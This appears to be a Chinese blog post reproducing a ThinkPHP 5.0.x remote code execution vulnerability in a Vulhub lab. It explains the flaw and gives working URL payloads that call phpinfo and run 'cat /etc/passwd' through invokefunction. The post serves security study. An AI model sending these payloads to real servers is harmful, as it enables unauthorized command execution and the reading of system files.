Thinkphp5.0.20漏洞复现
2022-07-28 14:14:58
195
{{single.collect_count}}

thinkphp5.0.20漏洞复现

本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

漏洞描述:ThinkPHP5.0在核心代码中实现了表单请求类型伪装的功能,该功能利用$_POST['_method']变量来传递真实的请求方法,当攻击者设置$_POST['_method']=__construct时,Request类的method方法便会将该类的变量进行覆盖,攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。

影响范围:ThinkPHP 5.0.0 ~ ThinkPHP 5.0.23

环境搭建:
开启Vulhub靶场
在这里插入图片描述

访问靶场地址:
在这里插入图片描述
漏洞利用:
payload:
查看phpinfo:

http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

查看敏感文件:

http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/etc/passwd

在这里插入图片描述

完成!

回帖
全部回帖({{commentCount}})
{{item.user.nickname}} {{item.user.group_title}} {{item.friend_time}}
{{item.content}}
{{item.comment_content_show ? '取消' : '回复'}} 删除
回帖
{{reply.user.nickname}} {{reply.user.group_title}} {{reply.friend_time}}
{{reply.content}}
{{reply.comment_content_show ? '取消' : '回复'}} 删除
回帖
收起
没有更多啦~
{{commentLoading ? '加载中...' : '查看更多评论'}}